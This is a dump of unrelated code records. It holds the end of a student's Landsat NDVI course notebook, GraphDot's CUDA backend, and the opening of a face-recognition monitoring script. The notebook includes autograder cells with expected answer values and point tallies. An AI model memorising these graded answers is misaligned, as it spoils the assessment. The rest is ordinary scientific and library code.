\n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\ndef open_clean_band(band_path, clip_extent, valid_range=None):\n    \"\"\"A function that opens a Landsat band as an (rio)xarray object\n\n    Parameters\n    ----------\n    band_path : str\n        A list of paths to the tif file\n\n    clip_extent : geopandas geodataframe\n        A geodataframe containing the clip extent of interest. NOTE:\n        this will fail if the clip extent is in a different CRS than the\n        raster data.\n\n    valid_range : tuple (optional)\n        The min and max valid range for the data. All pixels with values\n        outside of this range will be masked.\n\n    Returns\n    -------\n    An single xarray object with the Landsat band data.\n\n    \"\"\"\n    # Clip a band of landsat data to the area of interest\n    band = rxr.open_rasterio(band_path, masked=True).rio.clip(\n        clip_extent.geometry, from_disk=True).squeeze()\n\n    # Mask values outside of a valid range\n    if valid_range:\n        mask = ((band <= valid_range[0]) | (band > valid_range[1]))\n        cleaned_band = band.where(~mask, np.nan)\n\n    return cleaned_band\n\n\ndef masked_ndvi(all_bands, clip_extent, pixel_qa_path, vals):\n    \"\"\"Open and mask a single landsat band using a pixel_qa layer.\n\n    Parameters\n    -----------\n    all_bands : list\n        A list containing two xarray objects for landsat bands 4 and  5\n    clip_extent: geopandas GeoDataFrame\n        A geodataframe containing the clip extent of interest. NOTE:\n        this will fail if the clip extent is in a different CRS than the\n        raster data.\n    pixel_qa_path: str\n        A path to a pixel qa tif file.\n    vals: list\n        A list of values needed to create the cloud mask\n\n    Returns\n    -----------\n    ndvi_crop : Xarray Dataset\n        a cropped and masked xarray object containing NDVI values\n    \"\"\"\n    # Open and clip landsat qa layer\n    pixel_qa = rxr.open_rasterio(\n        pixel_qa_path[0], masked=True).rio.clip(\n        clip_extent.geometry, from_disk=True).squeeze()\n\n    # Calculate NDVI\n    ndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\n\n    # Apply cloud mask to NDVI\n    ndvi_mask = ndvi_xr.where(~pixel_qa.isin(vals))\n\n    return ndvi_mask\n\n\ndef open_site_vector(site_path):\n    \"\"\"A function that opens a shapefile for a site location.\n\n    Parameters\n    ----------\n    site_path: str\n        A list of paths to the site directory.\n\n    Returns\n    -------\n    crop_bound: geopandas DataFrame\n        A geodataframe of the crop boundary for the site location.\n    \"\"\"\n    vector_dir = os.path.join(site_path, \"vector\")\n    site_name = os.path.basename(os.path.normpath(site_path))\n    site_boundary_path = os.path.join(\n        vector_dir, site_name + \"-crop.shp\")\n\n    # Open the crop boundary as a geodataframe\n    crop_bound = gpd.read_file(site_boundary_path)\n    return crop_bound\n\n\ndef mean_ndvi_df(folder_name):\n    \"\"\"Calculate mean NDVI for a landsat data directory.\n\n    Parameters\n    ----------\n    folder_name: str\n        A list of paths to the landsat site folder.\n\n    Returns\n    -------\n    ndvi_df: pandas DataFrame\n        A DataFrame containing the mean NDVI, date of when the data was\n        measured, and the site name.\n    \"\"\"\n    # Make a list of all the dates in the directory\n    all_dates = glob(os.path.join(folder_name, \"landsat-crop\", \"*\"))\n\n    # Open the crop boundary for the site location\n    crop_bound = open_site_vector(folder_name)\n\n    # Initialize lists for mean NDVI, date, and site name\n    all_ndvi = []\n    dates = []\n    site = []\n    column_names = [\"mean_ndvi\", \"site\", \"date\"]\n\n    # For all the dates, list all of the band paths and qa path\n    for adate in all_dates:\n        band_paths = sorted(\n            glob(os.path.join(adate, \"*band*[4-5].tif\")))\n        landsat_qa_path = glob(os.path.join(adate, \"*qa*\"))\n        # Store the date and file name for each date.\n        dates.append(adate[50:58])\n        site.append(adate[22:26])\n        # Initialize list for bands 4 and 5 xarrays\n        all_bands = []\n        # For all the band paths, open and clean bands 4 and 5\n        for aband in band_paths:\n            band = open_clean_band(aband, crop_bound, (0, 10000))\n            all_bands.append(band)\n\n        # Calculate NDVI and mask for clouds, then calculate mean NDVI\n        avg_ndvi = masked_ndvi(\n            all_bands, crop_bound, landsat_qa_path, cloud_values).mean()\n        all_ndvi.append(avg_ndvi)\n\n    # Create a dataframe to store mean NDVI, date, site name\n    df = pd.DataFrame(columns=column_names)\n    df[\"mean_ndvi\"] = xr.concat(all_ndvi, dim=\"array\").to_series()\n    df[\"site\"] = site\n    df[\"date\"] = dates\n    df[\"date\"] = pd.to_datetime(df[\"date\"])\n    ndvi_df = df.set_index(\"date\")\n    return ndvi_df\n\n\ndef ndvi_all_sites(path_name):\n    \"\"\"Calculate mean NDVI for all sites in a Landsat data directory\n\n    Parameters\n    ----------\n    path_name: str\n        A list of paths to the Landsat data directory for all sites.\n\n    Returns\n    -------\n    ndvi_allsites: pandas dataframe\n        A dataframe containing the mean NDVI, site name, and date of\n        Landsat measurement.\n    \"\"\"\n    # Make a list of all the sites\n    all_sites = glob(os.path.join(path_name, \"*\"))\n    # Initialize the list of NDVI dataframes\n    ndvi_ls = []\n    for asite in all_sites:\n        # Calculate the mean NDVI for each site\n        ndvi_df = mean_ndvi_df(asite)\n        ndvi_ls.append(ndvi_df)\n    ndvi_allsites = pd.concat(ndvi_ls, axis=0)\n    return ndvi_allsites\n\n\n# # How we process all of the Landsat scenes for the HARV site\n# * We process all of the scenes for the HARV site in the cell below by using the function mean_ndvi_df(). First, we make a list of all of the scenes. Then for each scene, we process the bands using the function open_clean_band(), and we calculate the NDVI and mask for clouds using the function masked_ndvi(). We also use the function open_site_vector() to open the crop boundary for the HARV site. Once we have calculated the NDVI for a scene, we calculate the mean NDVI and store it with the date of the scene and site name in a pandas dataframe. The final dataframe is returned by the mean_ndvi_df() function.\n# * In order to make the code run faster, we made some choices in our functions to optimize for speed. In the functions, open_clean_band() and masked_ndvi, we pipe the rioxarray commands and read from_disk. In the function masked_ndvi(), we also chose to apply the cloud mask at the end of the NDVI calculation.\n# * We made the code more concise by using functions and using loops to open and clean bands 4 and 5 for all of the scenes and to mask and calculate NDVI for all of the scenes.\n\n# In[6]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n# Define cloud mask values\nhigh_cloud_confidence = (\n    em.pixel_flags['pixel_qa']['L8']['High Cloud Confidence'])\ncloud = em.pixel_flags['pixel_qa']['L8']['Cloud']\ncloud_shadow = em.pixel_flags['pixel_qa']['L8']['Cloud Shadow']\n\ncloud_values = high_cloud_confidence + cloud + cloud_shadow\n\n# Create dataframe of mean NDVI for the HARV site\nndvi_harv = mean_ndvi_df(\"ndvi-automation/sites/HARV\")\n\n# Remove NaN values\nndvi_harv_clean = ndvi_harv.dropna(how='any')\nndvi_harv_clean\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# # How we process the Landsat scenes for all sites\n# * We process all of the scenes for all sites in the cell below by using the function ndvi_all_sites(). First, we make a list of all the sites. Then for each site, we calculate the mean NDVI using the function mean_ndvi_df. We concatenate the list of mean NDVI dataframes for all the sites and return the final dataframe which stores the mean NDVI, date of each scene, and site name.\n# * In order to make the code run faster, we use the global pyproj context.\n# * We made the code more concise by using functions and using loops to calculate NDVI for all of the scenes in each site. We also used the function open_site_vector() to open the corresponding vector shapefile for each site. \n\n# In[8]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# Set pyproj settings\npyproj.set_use_global_context(True)\n\n# Calculate the mean NDVI for all sites\nndvi_harv_sjer = ndvi_all_sites(\"ndvi-automation/sites\")\n\n# Export mean NDVI dataframe to csv\nndvi_harv_sjer.to_csv(\"ndvi-automation/outputs/ndvi_harv_sjer.csv\")\n\nndvi_harv_sjer\n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# # Figure: Mean NDVI for two NEON sites in 2017\n\n# In[10]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# Remove NaN values\nndvi_clean = ndvi_harv_sjer.dropna(how='any')\n\n# Define plot space\nfig, ax = plt.subplots(figsize=(10, 10))\n\n# Set plot variables\nfor site, site_df in ndvi_clean.groupby([\"site\"]):\n\n    if site == 'HARV':\n        color = \"purple\"\n\n    else:\n        color = \"blue\"\n\n    ax.plot(site_df.index,\n            site_df.mean_ndvi,\n            marker=\"o\",\n            color=color,\n            label=site)\n\n# Set titles and axes labels\nax.xaxis.set_major_formatter(DateFormatter(\"%b\"))\nax.set(\n    title=\"Mean Normalized Difference Vegetation Index from 2017 (Landsat 8)\",\n    xlabel=\"Month\",\n    ylabel=\"Mean NDVI\")\n\n# Set legend\nax.legend(loc=\"upper left\")\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# * For the HARV site, I would recommend that the flights take place during May to November to measure a mean NDVI of at least 0.6. For peak greenness at the HARV site, flights could take place from June to October with mean NDVI values of at least 0.8.\n# * For the SJER site, I would recommend that the flights take place during March to May to measure a mean NDVI of at least 0.6.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# * For more long-term studies, since Landsat scenes are collected bi-monthly, we could continue the analysis for several years to look for stability or changes from year-to-year.\n# * For short-term intensive studies, we could pick time periods of interest and analyze MODIS data, which is collected daily, to get more resolution in time for NDVI fluctuations.\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n", "meta": {"hexsha": "4770a6af41bdadb7a098994d6604c0dbe9d303e2", "size": 26121, "ext": "py", "lang": "Python", "max_stars_repo_path": "yoon_heidi_ndvi.py", "max_stars_repo_name": "AreteY/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "c4f9f2fc7afa549f9a73148e85b337b99dc7fd34", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "yoon_heidi_ndvi.py", "max_issues_repo_name": "AreteY/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "c4f9f2fc7afa549f9a73148e85b337b99dc7fd34", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "yoon_heidi_ndvi.py", "max_forks_repo_name": "AreteY/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "c4f9f2fc7afa549f9a73148e85b337b99dc7fd34", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.3388554217, "max_line_length": 613, "alphanum_fraction": 0.718770338, "include": true, "reason": "import numpy", "num_tokens": 6508, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.403566839388498, "lm_q2_score": 0.2393493527485594, "lm_q1q2_score": 0.09659346179841882}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport copy\nimport uuid\nimport warnings\nimport functools\nimport numpy as np\nimport pycuda.driver as cuda\nfrom pycuda.compiler import SourceModule\nimport graphdot.cuda\nfrom graphdot import cpp\nfrom graphdot.codegen import Template\nfrom graphdot.codegen.cpptool import decltype\nfrom graphdot.cuda.array import umempty, umzeros, umarray\nfrom graphdot.microkernel import TensorProduct, Product\nfrom graphdot.util.iterable import flatten, fold_like\nfrom ._backend import Backend\nfrom ._scratch import PCGScratch\nfrom ._octilegraph import OctileGraph\n\n\nclass CUDABackend(Backend):\n    \"\"\"\n\n    Parameters\n    ----------\n    context: :py:class:`pycuda.driver.Context` instance\n        The CUDA context for launching kernels, Will use a default one if\n        none is given.\n    block_per_sm: int\n        Tunes the GPU kernel.\n    block_size: int\n        Tunes the GPU kernel.\n    \"\"\"\n\n    @staticmethod\n    def array(ndarray):\n        return umarray(ndarray)\n\n    @staticmethod\n    def zeros(size, dtype=np.float32):\n        return umzeros(size, dtype)\n\n    @staticmethod\n    def empty(size, dtype=np.float32):\n        return umempty(size, dtype)\n\n    def __init__(self, **kwargs):\n        self.uuid = uuid.uuid4()\n        self.ctx = kwargs.pop('cuda_context', graphdot.cuda.defctx)\n        self.device = self.ctx.get_device()\n        self.scratch_pcg = None\n        self.scratch_pcg_d = None\n\n        self.block_per_sm = kwargs.pop('block_per_sm', 8)\n        self.block_size = kwargs.pop('block_size', 128)\n\n        self.nvcc_extra = kwargs.pop('nvcc_extra', [])\n        self._source = ''\n        self._module = None\n\n    def __deepcopy__(self, memo):\n        return copy.copy(self)\n\n    def _assert_homogeneous(self, x, y):\n        try:\n            assert(x.weighted == y.weighted)\n            assert(x.node_t == y.node_t)\n            assert(x.edge_t == y.edge_t)\n        except AssertionError as e:\n            raise TypeError(\n                f'All nodes/edges must be of the same type: {str(e)}'\n                'If the graph attributes match in name but differ in type, '\n                'try to normalize automatically with `Graph.normalize_types`.'\n            )\n\n    def _allocate_scratch(self, scratch, scratch_d, number, length,\n                          n_temporaries):\n        if (scratch is None or len(scratch) < number or\n                scratch[0].nmax < length or\n                scratch[0].ndim < n_temporaries):\n            self.ctx.synchronize()\n            scratch = [\n                PCGScratch(length, n_temporaries) for _ in range(number)\n            ]\n            scratch_d = umarray(\n                np.array([s.state for s in scratch], PCGScratch.dtype)\n            )\n            self.ctx.synchronize()\n        return scratch, scratch_d\n\n    def allocate_pcg_scratch(self, number, max_graph_size, traits):\n        if traits.eval_gradient is True:\n            if traits.nodal in [True, 'block']:\n                length = max_graph_size**2\n                n_temporaries = 7\n            else:\n                length = max_graph_size**2 * 2\n                n_temporaries = 5\n        else:\n            length = max_graph_size**2\n            n_temporaries = 5\n\n        self.scratch_pcg, self.scratch_pcg_d = self._allocate_scratch(\n            self.scratch_pcg, self.scratch_pcg_d, number, length,\n            n_temporaries\n        )\n        return self.scratch_pcg_d\n\n    def _register_graph(self, graph):\n        if self.uuid not in graph.cookie:\n            # convert to GPU format\n            og = OctileGraph(graph)\n            graph.cookie[self.uuid] = (og, og.state)\n        return graph.cookie[self.uuid]\n\n    def _compile(self, src):\n        with warnings.catch_warnings(record=True) as w:\n            module = SourceModule(\n                src,\n                options=['-std=c++14',\n                         '-O4',\n                         '--use_fast_math',\n                         '--expt-relaxed-constexpr',\n                         '--maxrregcount=64',\n                         '-Xptxas', '-v',\n                         '-lineinfo',\n                         ] + self.nvcc_extra,\n                no_extern_c=True,\n                include_dirs=cpp.__path__,\n                # keep=True\n            )\n        return module, [str(rec.message) for rec in w]\n\n    @property\n    @functools.lru_cache(maxsize=1)\n    def template(self):\n        return Template(os.path.join(os.path.dirname(__file__), 'template.cu'))\n\n    @property\n    def source(self):\n        return self._source\n\n    @source.setter\n    def source(self, source):\n        if self.source != source:\n            self._source = source\n            self._module = None\n\n    @property\n    def module(self):\n        if not self._module:\n            self._module, self._compiler_message = self._compile(self.source)\n        return self._module\n\n    @staticmethod\n    def gencode_kernel(kernel, name):\n        fun, jac = kernel.gen_expr('x1', 'x2')\n\n        return Template(r'''\n        using ${name}_theta_t = ${theta_t};\n\n        struct ${name}_t : ${name}_theta_t {\n\n            constexpr static int jac_dims = ${jac_dims};\n\n            template<class X>\n            __device__ __inline__\n            auto operator() (X const &x1, X const &x2) const {\n                return ${expr};\n            }\n\n            template<class X>\n            __device__ __inline__\n            auto _j_a_c_o_b_i_a_n_(X const &x1, X const &x2) const {\n                graphdot::array<float, jac_dims> j;\n                ${jac;\\n};\n                return j;\n            }\n        };\n\n        __constant__ ${name}_t ${name};\n        __constant__ ${name}_t ${name}_diff_grid[2 * ${n_theta}];\n        __constant__ float32   ${name}_flat_theta[${n_theta}];\n        ''').render(\n            name=name,\n            jac_dims=len(jac),\n            theta_t=decltype(kernel),\n            expr=fun,\n            jac=[f'j[{i}] = {expr}' for i, expr in enumerate(jac)],\n            n_theta=len(list(flatten(kernel.theta)))\n        )\n\n    @staticmethod\n    def gencode_probability(pfunc, name):\n        fun, jac = pfunc.gen_expr()\n\n        return Template(r'''\n        using ${name}_theta_t = ${theta_t};\n\n        struct ${name}_t : ${name}_theta_t {\n\n            constexpr static int jac_dims = ${jac_dims};\n\n            template<class N>\n            __device__ __inline__\n            auto operator() (N const &n) const {\n                return ${expr};\n            }\n\n            template<class N>\n            __device__ __inline__\n            auto _j_a_c_o_b_i_a_n_(N const &n) const {\n                graphdot::array<float, jac_dims> j;\n                ${jac;\\n};\n                return j;\n            }\n        };\n\n        __constant__ ${name}_t ${name};\n        ''').render(\n            name=name,\n            jac_dims=len(jac),\n            theta_t=decltype(pfunc),\n            expr=fun,\n            jac=[f'j[{i}] = {expr}' for i, expr in enumerate(jac)]\n        )\n\n    @staticmethod\n    def pack_state(object, diff_grid=False, diff_eps=1e-2):\n        def _nudge_theta(object, i, delta):\n            o = copy.deepcopy(object)\n            t = logtheta.copy()\n            t[i] += delta\n            o.theta = fold_like(np.exp(t), o.theta)\n            return o.state\n\n        pack = [object.state]\n        if diff_grid is True:\n            logtheta = np.log(list(flatten(object.theta)))\n            for i, _ in enumerate(logtheta):\n                pack.append(_nudge_theta(object, i, diff_eps))\n                pack.append(_nudge_theta(object, i, -diff_eps))\n        return pack\n\n    def __call__(self, graphs, node_kernel, edge_kernel, p, q, eps, ftol, gtol,\n                 jobs, starts, gramian, gradient, nX, nY, nJ, traits, timer):\n        ''' transfer graphs and starting probabilities to GPU '''\n        timer.tic('transferring graphs to GPU')\n\n        og_last = None\n        graphs_d = umempty(len(graphs), dtype=OctileGraph.dtype)\n        for i, g in enumerate(graphs):\n            og, ogstate = self._register_graph(g)\n            if i > 0:\n                self._assert_homogeneous(og_last, og)\n            og_last = og\n            graphs_d[i] = ogstate\n\n        weighted = og_last.weighted\n        node_t = og_last.node_t\n        edge_t = og_last.edge_t\n\n        timer.toc('transferring graphs to GPU')\n\n        ''' allocate global job counter '''\n        timer.tic('allocate global job counter')\n        i_job_global = umzeros(1, np.uint32)\n        timer.toc('allocate global job counter')\n\n        ''' code generation '''\n        timer.tic('code generation')\n        if weighted:\n            edge_kernel = TensorProduct(weight=Product(),\n                                        label=edge_kernel)\n\n        use_theta_grid = all([\n            traits.eval_gradient is True,\n            traits.nodal in [True, 'block']\n        ])\n        node_kernel_src = self.gencode_kernel(node_kernel, 'node_kernel')\n        edge_kernel_src = self.gencode_kernel(edge_kernel, 'edge_kernel')\n        p_start_src = self.gencode_probability(p, 'p_start')\n\n        with self.template.context(traits=traits) as template:\n            self.source = template.render(\n                node_kernel=node_kernel_src,\n                edge_kernel=edge_kernel_src,\n                p_start=p_start_src,\n                node_t=decltype(node_t),\n                edge_t=decltype(edge_t)\n            )\n        timer.toc('code generation')\n\n        ''' JIT '''\n        timer.tic('JIT')\n        kernel = self.module.get_function('graph_kernel_solver')\n        timer.toc('JIT')\n\n        ''' calculate launch configuration '''\n        timer.tic('calculating launch configuration')\n        launch_block_count = (self.device.MULTIPROCESSOR_COUNT\n                              * self.block_per_sm)\n        shmem_bytes_per_warp = self.module.get_global(\n            'shmem_bytes_per_warp'\n        )[1]\n        shmem_bytes_per_block = (shmem_bytes_per_warp * self.block_size\n                                 // self.device.WARP_SIZE)\n\n        ''' allocate scratch buffers '''\n        max_graph_size = np.max([len(g.nodes) for g in graphs])\n        scratch_pcg = self.allocate_pcg_scratch(\n            launch_block_count, max_graph_size, traits\n        )\n\n        ''' copy micro kernel parameters to GPU '''\n        for name, uker in [('node_kernel', node_kernel),\n                           ('edge_kernel', edge_kernel)]:\n            states = np.array(\n                self.pack_state(uker, diff_grid=use_theta_grid, diff_eps=eps),\n                dtype=uker.dtype\n            )\n\n            p_uker, _ = self.module.get_global(name)\n            cuda.memcpy_htod(p_uker, states[:1])\n\n            if use_theta_grid:\n                p_diff_grid, _ = self.module.get_global(f'{name}_diff_grid')\n                p_flat_theta, _ = self.module.get_global(f'{name}_flat_theta')\n                cuda.memcpy_htod(p_diff_grid, states[1:])\n                cuda.memcpy_htod(\n                    p_flat_theta,\n                    np.fromiter(flatten(uker.theta), dtype=np.float32)\n                )\n\n        p_p_start, _ = self.module.get_global('p_start')\n        cuda.memcpy_htod(\n            p_p_start, np.array([p.state], dtype=p.dtype)\n        )\n\n        timer.toc('calculating launch configuration')\n\n        ''' GPU kernel execution '''\n        timer.tic('GPU kernel execution')\n        kernel(\n            graphs_d,\n            scratch_pcg,\n            jobs,\n            starts,\n            gramian,\n            gradient if gradient is not None else np.uintp(0),\n            i_job_global,\n            np.uint32(len(jobs)),\n            np.uint32(nX),\n            np.uint32(nY),\n            np.uint32(nJ),\n            np.float32(q),\n            np.float32(q),  # placeholder for q0\n            np.float32(eps),\n            np.float32(ftol),\n            np.float32(gtol),\n            grid=(launch_block_count, 1, 1),\n            block=(self.block_size, 1, 1),\n            shared=shmem_bytes_per_block,\n        )\n        self.ctx.synchronize()\n        timer.toc('GPU kernel execution')\n", "meta": {"hexsha": "63660d01e56aa67c89c5e4a3ba3fde44dafa12e6", "size": 12049, "ext": "py", "lang": "Python", "max_stars_repo_path": "graphdot/kernel/marginalized/_backend_cuda.py", "max_stars_repo_name": "yhtang/GraphDot", "max_stars_repo_head_hexsha": "3d5ed4fbb2f6912052baa42780b436da76979691", "max_stars_repo_licenses": ["BSD-3-Clause-LBNL"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-02-14T18:07:39.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-15T12:07:31.000Z", "max_issues_repo_path": "graphdot/kernel/marginalized/_backend_cuda.py", "max_issues_repo_name": "yhtang/graphdot", "max_issues_repo_head_hexsha": "3d5ed4fbb2f6912052baa42780b436da76979691", "max_issues_repo_licenses": ["BSD-3-Clause-LBNL"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-03-19T19:07:26.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-24T06:08:51.000Z", "max_forks_repo_path": "graphdot/kernel/marginalized/_backend_cuda.py", "max_forks_repo_name": "yhtang/graphdot", "max_forks_repo_head_hexsha": "3d5ed4fbb2f6912052baa42780b436da76979691", "max_forks_repo_licenses": ["BSD-3-Clause-LBNL"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-10-17T06:11:18.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-07T11:56:33.000Z", "avg_line_length": 32.6531165312, "max_line_length": 79, "alphanum_fraction": 0.5528259607, "include": true, "reason": "import numpy,import pycuda,from pycuda", "num_tokens": 2736, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.1871326753623991, "lm_q1q2_score": 0.09648933429938268}}
{"text": "import dlib\nimport face_recognition\nimport cv2\nimport pickle\nfrom firebase import firebase\nimport time\nimport copy\nimport datetime\nfrom datetime import date\nimport numpy as np\nfrom imutils.video import FPS\nimport sys\n\nroom = sys.argv[1]\n# initialize firebase url\nfirebase = firebase.FirebaseApplication(\n\t'https://capstone-prototype-7b1f9.firebaseio.com/', None)\n# serialized facial encodings\ndata = pickle.loads(open(\"encodings.pickle\", \"rb\").read())\ndetector = dlib.get_frontal_face_detector()  # face detector\nsdThresh = 8                                # thresh for standard deviation\nfont = cv2.FONT_HERSHEY_SIMPLEX             # cv2 font general\n\n# -----------------------------------------------------------------------------------------------\n# Object detection parameters\n# -----------------------------------------------------------------------------------------------\nconfidence_score = 0.5\nthreshold = 0.3\nlabelsPath = \"yolo/obj.names\"\nLABELS = open(labelsPath).read().strip().split(\"\\n\")\nweightsPath = \"yolo/obj.weights\"\nconfigPath = \"yolo/obj.cfg\"\n# Load YOLO and get output layer names\nnet = cv2.dnn.readNetFromDarknet(configPath, weightsPath)\nln = net.getLayerNames()\nln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n(W, H) = (None, None)\n\n# -----------------------------------------------------------------------------------------------\n# DistMap function -> return pythogorean distance between two frames\n# -----------------------------------------------------------------------------------------------\n\n\ndef distMap(frame1, frame2):\n\tdiff32 = np.float32(frame1) - np.float32(frame2)\n\treturn np.uint8((np.sqrt(diff32[:, :, 0]**2 + diff32[:, :, 1]**2 + diff32[:, :, 2]**2)/441.6729559300637)*255)\n\n\n# general videocapture from default camera\ncap = cv2.VideoCapture(0)\ngrabbed, frame1 = cap.read()                # capturing first frame\n# exit if unable to grab frames\nif not grabbed: sys.exit(\"unable to grab frames, error in camera\")\n#  grab frame dimensions if they are empty\nif W is None or H is None: (H, W) = frame1.shape[:2]\n_, frame2 = cap.read()                      # capturing second frame\n\ntime1 = time.time()\nactivity_count = 0\n# -----------------------------------------------------------------------------------------------\n\n# TODO: Main Loop\nfps = FPS().start()\ntry:\n\twhile(True):\n\t# -----------------------------------------------------------------------------------------------\n\t# TODO: Activity Monitoring\n\t# 